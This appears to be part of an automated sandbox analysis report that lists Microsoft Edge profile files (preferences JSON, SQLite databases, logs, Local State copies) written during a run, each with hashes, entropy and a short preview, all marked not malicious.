MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ba9ebd1a-7f0c-4e46-97d0-d720767c4407.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561152972733207
Encrypted:	false
SSDEEP:	768:LTO6Qf7pLGLP53WPuMfgE8F1+UoAYDCx9Tuqh0VfUC9xbog/OV74sjKa0rwDpAP4:LTO6QZcP53WPuMfgEu1ja+4suatDpAy9
MD5:	5F7A16A413FE0AA0991142178F369400
SHA1:	FB5D7258AD9FC67B434DD994988F7E8C566B49A0
SHA-256:	06A5531E9B12E5D8522B4A5552C3620D67D6C95F517825679D624115E343FAFC
SHA-512:	5B54B7EA507F739DCCE5CF653401E74CB6EDB6C35773C95DD207ECDCE279F3842895ED45DE33B8A38DEE4459B7C3E70472B1AE07F731A8B2DEAFDBEAA02A8A22
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376611704243442","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376611704243442","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d2c56c32-162c-4360-aab6-b856dc8796e0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.5672518922252445
Encrypted:	false
SSDEEP:	768:Luw6N3WPuMfxE8F1+UoAYDCx9Tuqh0VfUC9xbog/OVKjKV0rw5p0tuf:Luw6N3WPuMfxEu1jaPuVtEtM
MD5:	800DFED6C2F76623DB0221FC2087C524
SHA1:	A810D055A761DEEEB31AF2364D62A88F4BEBBC37
SHA-256:	DCE58BFD762CEDE168DA4ECFE357236A5982CC69FF08C6DF2E70614C2451CDCD
SHA-512:	C5C6326D828A08869999C185DDEAC80D775CE7F262D542C7C408240C3368D37B4D2E136BFE33ED7496D0950DE1D05763AD36F299DF33D613938249BED5977301
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376611704243442","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376611704243442","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d8287cdb-1574-4dcb-a06b-626cca8b4557.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10248931653159668
Encrypted:	false
SSDEEP:	12:+UdiUdTDspEjVl/PnnnnnnnnnnnvoQ/Eou:+8i8goPnnnnnnnnnnnv1j
MD5:	B804B9FE1356C720AA0DBF05B1F8F057
SHA1:	149E7201FD48DDC0F63C48ADA3BE76BF919AA6A9
SHA-256:	FED5F779473ECB26CC9FC2E1EE4763C5CEFF2EEAE668DD5E608296598582181F
SHA-512:	B95CC6559719BAB4F9D7E919FA19B4B9081A458FE2FABA2EAA11C07F9947B1A267CC68AFD3C730E71C8133F62BFF249DFB30AF8AC3DC1AFC11B8657B05F25C2A
Malicious:	false
Preview:	..-.............M.......vCm....y3.-......1.z%...-.............M.......vCm....y3.-......1.z%.........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.888804140124364
Encrypted:	false
SSDEEP:	384:4j6fozeOKzKFZTktHVdtA01Vnv8EyNyxhyaylbyDxyC1:F3v
MD5:	A4C4C6CC6DE48382E24E4D461C5CE900
SHA1:	3CC21868415C06FFEDD02A585B8239F79A1A2A1D
SHA-256:	31CD64BBE7BFC5E9189DF2F14C7EA16478E14D33A3A50A4892E03910F70653CF
SHA-512:	D7548C37DE10DA01CC16CF8F14F772B6FA0D876D2950EDB25E947DD61F8E215B9111CA497C9E101297A6B86D8940F92C33CCCC03F5AD9DEAB198518F152083F6
Malicious:	false
Preview:	7....-..........3.-.......F`..........3.-......+..O.\SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	419
Entropy (8bit):	3.6944868230940338
Encrypted:	false
SSDEEP:	6:/XntM+dl3sedhOmOuuuuuuuuuuuuC69sedhO5MU:llc8BOuuuuuuuuuuuuXO8C
MD5:	25EF7AA5093987A7D130FBC444F5F6BC
SHA1:	19A9FB18911F4394F732994DB5147AF472E338FA
SHA-256:	8038A224DAC7030ED0FA777896CB0C05D7BFCE3C7F7BF04468C9D44D8A4E66E5
SHA-512:	3EE298435DA983EBDA0365A3C1BC85C9917674B0FBEBA536B3C5E981031C50E6F0E52FB2DD8C0CA46D21055C4897D92EC1E704BE913DB3B3F66F606E0D2EBADC
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1...0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...................0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.20559059746356
Encrypted:	false
SSDEEP:	6:HH+8q2PcNwi23oH+TcwtfrK+IFUt8YHQ3XZmw+YH3RPkwOcNwi23oH+TcwtfrUed:n7vLZYeb23FUt8k4X/+k3V54ZYeb3J
MD5:	E31BD7AE47715C5319E3F52D770AA554
SHA1:	148CE9D3CC21672A77B9AFCF7B9DE3B6D543C513
SHA-256:	7849761027A6777EC18935F6583857F4053B6729A494B62CD382CB8C1D969BAE
SHA-512:	DB2FBFAFAEC30A2B09B4BC6D5EEC5D9F509B2A031007B427A8948F731D2597C6C8C58613B22EAD1F4C8A56F536730695355800A1862C06FBF77256BA2459181B
Malicious:	false
Preview:	2024/11/20-16:28:24.860 1444 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/20-16:28:24.862 1444 Recovering log #3.2024/11/20-16:28:24.931 1444 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.20559059746356
Encrypted:	false
SSDEEP:	6:HH+8q2PcNwi23oH+TcwtfrK+IFUt8YHQ3XZmw+YH3RPkwOcNwi23oH+TcwtfrUed:n7vLZYeb23FUt8k4X/+k3V54ZYeb3J
MD5:	E31BD7AE47715C5319E3F52D770AA554
SHA1:	148CE9D3CC21672A77B9AFCF7B9DE3B6D543C513
SHA-256:	7849761027A6777EC18935F6583857F4053B6729A494B62CD382CB8C1D969BAE
SHA-512:	DB2FBFAFAEC30A2B09B4BC6D5EEC5D9F509B2A031007B427A8948F731D2597C6C8C58613B22EAD1F4C8A56F536730695355800A1862C06FBF77256BA2459181B
Malicious:	false
Preview:	2024/11/20-16:28:24.860 1444 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/20-16:28:24.862 1444 Recovering log #3.2024/11/20-16:28:24.931 1444 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	782
Entropy (8bit):	4.049291162962452
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ys:G0nYUtypD32m3yWlIZMBA5NgKIvB8s
MD5:	FDF465758A7489458B387EB41C7D42B0
SHA1:	9509283CF1BD7397790091C5A7580CBA353A1143
SHA-256:	C5A7592A847D101DCB71AEE0A234835548121C647E6D99EF794337823A347703
SHA-512:	9E40B768990B3FAC6960274C5C78F9B86585100DBFE92BC885FC5384937F2922C3ED435B44C42DEAC138E8FB22CD1EED865DBB984CFFDAE8ED0BE96EDADA1698
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.196146513419118
Encrypted:	false
SSDEEP:	6:HHGJU8q2PcNwi23oH+TcwtfrzAdIFUt8YHG9HZmw+YHG9VkwOcNwi23oH+Tcwtfa:nGa8vLZYeb9FUt8kG9H/+kG9V54ZYebS
MD5:	D7F58CBD7DA7C2908194ADF9A1CA9E4B
SHA1:	C3FEFAA16995995C2DED49570CA7376BEE8995F6
SHA-256:	3BD7F004AD3013FC144FE79B817D4CC5C5D0CFACE416B7AC33F7E8F8935F4C17
SHA-512:	103686D99415C40D86C17B2168D5A898A26356C9788E2DEC3D4721F704750FDCB9C7B5C7FFD378A5E7E7E7A2453DAEDFDEC68C08E56F568AD30BFF19EFD5ED0F
Malicious:	false
Preview:	2024/11/20-16:28:24.746 1444 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/20-16:28:24.747 1444 Recovering log #3.2024/11/20-16:28:24.747 1444 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.196146513419118
Encrypted:	false
SSDEEP:	6:HHGJU8q2PcNwi23oH+TcwtfrzAdIFUt8YHG9HZmw+YHG9VkwOcNwi23oH+Tcwtfa:nGa8vLZYeb9FUt8kG9H/+kG9V54ZYebS
MD5:	D7F58CBD7DA7C2908194ADF9A1CA9E4B
SHA1:	C3FEFAA16995995C2DED49570CA7376BEE8995F6
SHA-256:	3BD7F004AD3013FC144FE79B817D4CC5C5D0CFACE416B7AC33F7E8F8935F4C17
SHA-512:	103686D99415C40D86C17B2168D5A898A26356C9788E2DEC3D4721F704750FDCB9C7B5C7FFD378A5E7E7E7A2453DAEDFDEC68C08E56F568AD30BFF19EFD5ED0F
Malicious:	false
Preview:	2024/11/20-16:28:24.746 1444 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/20-16:28:24.747 1444 Recovering log #3.2024/11/20-16:28:24.747 1444 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089485925600901
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k3TKKGf4S7tBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynYt5b7VLyMV/YoskFoz
MD5:	4E46102244AAA2306A155654D30DAF97
SHA1:	86D5BD25BB5B6A72311C80AE82EF06583E579F46
SHA-256:	C7E8F9067DF9581FC99BB1AA99989F899FBD34061DD91CA294615219CEBE09C7
SHA-512:	58D257CC381780FD8AF330211B1212F596383463EBF8440E0A8667A77E781FAFE80E27321F337C0CA83A73FBD78B8E4D77D780601AE91C8BD1CF6009D6CCB0AF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF24dc8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089485925600901
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k3TKKGf4S7tBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynYt5b7VLyMV/YoskFoz
MD5:	4E46102244AAA2306A155654D30DAF97
SHA1:	86D5BD25BB5B6A72311C80AE82EF06583E579F46
SHA-256:	C7E8F9067DF9581FC99BB1AA99989F899FBD34061DD91CA294615219CEBE09C7
SHA-512:	58D257CC381780FD8AF330211B1212F596383463EBF8440E0A8667A77E781FAFE80E27321F337C0CA83A73FBD78B8E4D77D780601AE91C8BD1CF6009D6CCB0AF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF24e06.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089485925600901
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k3TKKGf4S7tBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynYt5b7VLyMV/YoskFoz
MD5:	4E46102244AAA2306A155654D30DAF97
SHA1:	86D5BD25BB5B6A72311C80AE82EF06583E579F46
SHA-256:	C7E8F9067DF9581FC99BB1AA99989F899FBD34061DD91CA294615219CEBE09C7
SHA-512:	58D257CC381780FD8AF330211B1212F596383463EBF8440E0A8667A77E781FAFE80E27321F337C0CA83A73FBD78B8E4D77D780601AE91C8BD1CF6009D6CCB0AF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF24f6e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089485925600901
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k3TKKGf4S7tBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynYt5b7VLyMV/YoskFoz
MD5:	4E46102244AAA2306A155654D30DAF97
SHA1:	86D5BD25BB5B6A72311C80AE82EF06583E579F46
SHA-256:	C7E8F9067DF9581FC99BB1AA99989F899FBD34061DD91CA294615219CEBE09C7
SHA-512:	58D257CC381780FD8AF330211B1212F596383463EBF8440E0A8667A77E781FAFE80E27321F337C0CA83A73FBD78B8E4D77D780601AE91C8BD1CF6009D6CCB0AF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF27610.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089485925600901
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k3TKKGf4S7tBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynYt5b7VLyMV/YoskFoz
MD5:	4E46102244AAA2306A155654D30DAF97
SHA1:	86D5BD25BB5B6A72311C80AE82EF06583E579F46
SHA-256:	C7E8F9067DF9581FC99BB1AA99989F899FBD34061DD91CA294615219CEBE09C7
